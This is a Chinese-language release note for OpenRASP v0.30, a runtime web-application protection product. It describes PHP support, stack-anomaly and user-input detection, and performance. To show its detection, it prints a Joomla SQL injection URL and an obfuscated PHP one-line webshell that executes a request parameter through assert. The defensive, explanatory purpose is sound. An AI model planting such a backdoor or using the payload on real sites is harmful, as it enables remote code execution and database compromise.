PHP 支持,堆栈异常和用户输入识别

OpenRASP是百度安全推出的一款开源、免费的自适应安全产品,目前与国际知名非盈利安全组织OWASP(OpenWeb Application Security Project)达成深度合作,现已加入到OWASP全球技术项目中,将在全球范围内进行大规模推广。OpenRASP将新兴的RASP(Runtime Application Self-Protection)安全防护技术普及化,使其迅速成为企业Web安全防护中的一个重要武器,有效增强防御体系纵深和对漏洞防护的适应能力。

据上一个版本发布相隔约2个月,百度安全此次发布为OpenRASP v0.30版本。

What's New

PHP 服务器支持

在 v0.30 版本里,我们加入了对PHP 5.3 ~ 5.6 版本的支持,包括对 apache + php 模块、nginx + php-fpm、php -S 命令行服务器三种形式的支持。其中,对于 Windows系统,我们只支持 5.6 版本,默认开启线程安全;对于 Mac 系统,我们仅支持 homebrew PHP 5.6 版本。

和Java Agent一样,我们支持如下功能:

OWASP TOP 10 攻击拦截(具体检测能力请看官方文档)

PHP INI 安全基线检查

o yaml.decode_php – 若开启则允许YAML加载时执行任意PHP代码

o display_errors – 若开启,则会让攻击者看到PHP错误信息,比如报错注入

o expose_php – 是否暴露PHP版本,不推荐开启

数据库连接账号审计,e.g使用 root 连接 mysql

数据库慢查询审计,e.g一次读取500条数据

具体请参考我们的发版纪要和官方文档。

检测算法创新

在这个版本里,我们在检测算法上进行了一些创新,具体内容如下:

首先,我们加强了堆栈异常检测算法。当应用进行了敏感操作,比如执行命令、查看目录结构等等,我们可能无法直接判断这个行为是否存在异常。但如果这些敏感函数的调用来自 eval/create_function/preg_replace/.. 等动态执行的代码,我们就有理由怀疑这里存在代码执行漏洞,或者webshell一句话后门。

以最近爆出的 CVE-2018-7600 – Drupalgeddon远程代码执行漏洞为例,这个漏洞通过 form API,控制了 call_user_func 的参数,最终实现任意代码执行。当我们利用这个漏洞执行命令时,它的堆栈是这样的:

我们清楚的看到,system函数的调用来自call_user_func。OpenRASP 根据堆栈识别出这个命令执行是动态触发的,故而拦截。

其次,我们全面加强了用户输入识别算法。以去年爆出的 CVE-2017-8917 - Joomla com_fields list[fullordering] SQL 注入漏洞为例,一个报错注入的例子如下

http://mystifying_turing.192.168.154.200.xip.io/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(2,concat(0x7e,(version())),0)

当发生攻击时候,OpenRASP 可以识别出用户输入,检测到SQL语句的逻辑被用户修改,并最终判定为成功的SQL注入攻击。

因为我们是没有规则的,所以传统绕过WAF的方式,并不适合用来对抗RASP。在这个例子里,无论攻击者如何变换SQL语句,都会被识别为用户输入,并被拦截(为了保证性能,只有长度超过15的参数才会进入判定逻辑)

当然,类似的算法也应用到了SSRF检测、任意文件包含检测等等,具体请参考我们的官方Javascript插件。

最后,我们引入了PHP一句话后门的检测。由于PHP语言的灵活性,编写一个免杀的一句话后门是很容易的。另外,很多人开发了自己的一句话客户端,使用和中国菜刀不一样的协议来绕过某些主机防护软件。

以 FreeBuf 一句话免杀编写思路里给出的免杀一句话后门为例

$fruits =array("a"=>"lemon","ss"=>"orange","ssr"=>"banana","t"=>"apple");

functiontest_alter(&$item1, $key, $prefix) { $item1 ="$prefix: $item1"; }

functiontest_print($item2, $key) {echo"$key. $item2

\n"; }echo"Before ...:\n";

array_walk($fruits,'test_print');

$a =array_keys($fruits);

print_r($a); $m =$a[].$a[1]; $n ='er'; $q = $m.$n.'t';//assert

$r = $_REQUEST['crhua'];

@$q($r);//密码crhua

?>

这个后门看着很复杂,但是由于最终调用了 assert,执行用户输入的参数,所以被我们的原生插件判定为中国菜刀后门,并拦截了请求。具体报警日志如下:

性能损耗

在PHP版本里,我们挑选了 Google V8 作为JS引擎。跟Java版本一样,我们会监控插件目录,并支持JS插件的热更新。

我们挑选了多个开源应用进行压力测试,性能损耗一般在2%左右,是可以接受的。具体测试报告如下(官方文档已经更新)

Docker 漏洞测试环境

最后值得一提的是,我们开放了基于 Docker 的真实应用测试环境,可以方便的测试真实应用的漏洞。在基础镜像里,我们增加了 rasp-install 命令,可以快速安装OpenRASP,测试漏洞拦截效果、开发检测插件等等。docker 测试环境可以访问 https://github.com/baidu-security/app-env-docker 查看。

  • 发表于:
  • 原文链接http://kuaibao.qq.com/s/20180428B1BB3P00?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券